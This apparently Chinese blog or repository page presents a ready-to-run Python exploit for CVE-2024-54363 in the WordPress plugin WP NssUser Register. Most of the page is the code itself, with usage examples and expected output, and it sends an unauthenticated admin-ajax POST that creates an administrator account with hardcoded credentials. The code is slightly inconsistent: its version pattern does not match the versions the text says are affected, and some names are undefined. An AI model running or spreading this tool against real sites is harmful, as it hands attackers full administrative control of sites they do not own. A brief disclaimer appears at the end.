WP NssUser Register 权限提升漏洞利用工具 (CVE-2024-54363)

WP NssUser Register 权限提升漏洞利用工具 (CVE-2024-54363)

这是一个针对 WordPress 插件 WP NssUser Register 的安全研究与漏洞验证工具。该插件在版本 1.0.0 及更早版本中存在不正确的权限分配漏洞(CVE-2024-54363),允许未经认证的攻击者通过向 /wp-admin/admin-ajax.php 端点发送特制请求,注册具有管理员权限的新用户。

功能特性

  • 无认证权限提升 :利用 nssTheme_registration_form Ajax 动作,直接创建具有 administrator 角色的用户
  • 完整的日志记录 :所有请求和响应信息同时输出到控制台和 exploit.log 文件,便于审计
  • SSL 警告抑制:自动禁用 SSL 证书验证,方便在测试环境中使用
  • 命令行参数支持 :通过 -u--url 参数灵活指定目标站点

安装指南

系统要求

  • Python 3.6 或更高版本
  • pip 包管理器

依赖项

本项目仅依赖 requests 库进行 HTTP 通信。

安装步骤

  1. 克隆或下载项目文件到本地:
bash 复制代码
git clone https://github.com/your-repo/CVE-2024-54363-Exploit.git
cd CVE-2024-54363-Exploit
  1. 安装所需的 Python 依赖包:
bash 复制代码
pip install -r requirements.txt

requirements.txt 文件内容:

shell 复制代码
requests>=2.25.0

使用说明

基本用法

bash 复制代码
python CVE-2024-54363.py -u http://target-wordpress-site.com

参数说明

参数 简写 说明 是否必需
--url -u WordPress 站点的基础 URL(例如:example.com)
--help -h 显示帮助信息

使用示例

示例 1:检测并利用存在漏洞的站点

bash 复制代码
python CVE-2024-54363.py -u https://vulnerable-wordpress.com

预期输出:

yaml 复制代码
2024-01-15 10:30:45,123 - INFO - The site https://vulnerable-wordpress.com is vulnerable. Exploitation in progress...
2024-01-15 10:30:46,456 - INFO - Exploitation successful!
2024-01-15 10:30:46,456 - INFO - Response: {"success":true}
2024-01-15 10:30:46,456 - INFO - Username: nxploit123, Password: nxploit

示例 2:检测不存在漏洞的站点

bash 复制代码
python CVE-2024-54363.py -u http://secure-wordpress.com

预期输出:

yaml 复制代码
2024-01-15 10:31:20,789 - INFO - The site http://secure-wordpress.com is not vulnerable.
2024-01-15 10:31:20,789 - INFO - Exploitation skipped: The site is not vulnerable.

利用细节

成功利用后,工具会创建一个包含以下凭据的管理员账户:

  • 用户名nxploit123
  • 邮箱admin2@nxploit.sa
  • 名字Nxploithacker
  • 姓氏User
  • 角色administrator
  • 密码nxploit

注意 :以上凭据为工具硬编码值,可根据需要修改源代码中的 payload 字典。

漏洞工作原理

  1. 插件注册了 wp_ajax_nopriv_nssTheme_registration_formwp_ajax_nssTheme_registration_form 两个 Ajax 钩子
  2. 未认证用户可以访问 nopriv 版本的处理函数
  3. 处理函数未对用户提交的 rgRole 参数进行有效的权限校验
  4. 攻击者可以指定 rgRoleadministrator,系统直接创建具有管理员权限的用户

核心代码

版本检测模块

python 复制代码
import re


VULNERABLE_VERSION_PATTERN = re.compile(r"1\.1\.0")

def check_version(session, base_url):
    """检测目标站点是否存在漏洞版本"""
    url_version = base_url.rstrip("/") + READ_ME_PATH
    try:
        response = session.get(url_version)
        response.raise_for_status()
        if VULNERABLE_VERSION_PATTERN.search(response.text):
            logging.info(f"The site {base_url} is vulnerable. Exploitation in progress...")
            return True
        else:
            logging.info(f"The site {base_url} is not vulnerable.")
            return False
    except requests.RequestException as e:
        logging.error(f"Error checking version for {base_url}: {e}")
        raise ExploitError("Failed to check version.")

漏洞利用核心模块

python 复制代码
EXPLOIT_PATH = "/wp-admin/admin-ajax.php"

def exploit_wordpress(session, base_url):
    """执行权限提升攻击,创建管理员账户"""
    url = base_url.rstrip("/") + EXPLOIT_PATH
    headers = {
        "Host": base_url.split("//")[-1].split("/")[0],
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": base_url
    }

    payload = {
        "action": "nssTheme_registration_form",
        "rgName": "nxploit123",
        "rgEmail": "admin2@nxploit.sa",
        "rgFname": "Nxploithacker",
        "rgLname": "User",
        "rgRole": "administrator",
        "rg_pass": "nxploit"
    }

    try:
        response = session.post(url, headers=headers, data=payload)
        response.raise_for_status()
        logging.info("Exploitation successful!")
        logging.info(f"Response: {response.text}")
        logging.info(f"Username: {payload['rgName']}, Password: {payload['rg_pass']}")
    except requests.RequestException as e:
        logging.error(f"Error during exploitation: {e}")
        raise ExploitError("Exploitation failed.")

日志配置模块

python 复制代码
import logging

def setup_logging():
    """配置双输出日志系统(文件 + 控制台)"""
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s',
        handlers=[
            logging.FileHandler("exploit.log"),
            logging.StreamHandler()
        ]
    )

主控制流程

python 复制代码
import argparse
import requests

def main():
    setup_logging()
    
    parser = argparse.ArgumentParser(description="Wp NssUser Register <= 1.0.0 - Unauthenticated Privilege Escalation")
    parser.add_argument("-u", "--url", required=True, help="Base URL of the WordPress site")
    args = parser.parse_args()
    
    base_url = args.url
    session = requests.Session()
    session.verify = False  # 忽略 SSL 验证
    
    try:
        if check_version(session, base_url):
            exploit_wordpress(session, base_url)
        else:
            logging.info("Exploitation skipped: The site is not vulnerable.")
    except ExploitError as e:
        logging.error(e)

if __name__ == "__main__":
    main()

免责声明:本工具仅供安全研究和授权测试使用。未经授权的渗透测试或攻击行为违反法律法规。使用者须自行承担因不当使用造成的一切法律责任。 6HFtX5dABrKlqXeO5PUv/2JjbNpRKC5wx3yaGEkU/JuXTN9Sp8Rg33X5RmPHGMKY

相关推荐
米小虾2 分钟前
告别单打独斗:2026年多Agent协作架构实战指南
人工智能·agent
IT_陈寒1 小时前
SpringBoot这个自动配置坑我跳了三次
前端·人工智能·后端
Larcher2 小时前
AI Loop:让AI像人一样自主完成任务的核心机制
javascript·人工智能·设计模式
牧艺2 小时前
从零到协同:构建类飞书在线文档系统的五个技术重难点
前端·人工智能
CodePlayer竟然被占用了3 小时前
Codex 用电脑的三种姿势:选错模式,你就白烧 Token
人工智能
袋鼠云数栈UED团队3 小时前
一套 Spec-First 的 AI 编程工作流
前端·人工智能
Awu12273 小时前
⚡从零开发 Agent CLI(二):CLI 框架搭建与子命令路由
人工智能·aigc
Awu12273 小时前
⚡从零开发 Agent CLI(三):终端样式改造——从 console.log 到交互式 Ink UI
aigc·ai编程
草帽lufei3 小时前
下班后把活交给AI,定时器让它晚上继续干活
aigc·ai编程
码上天下3 小时前
React Query 缓存 AI 对话历史的几个权衡
人工智能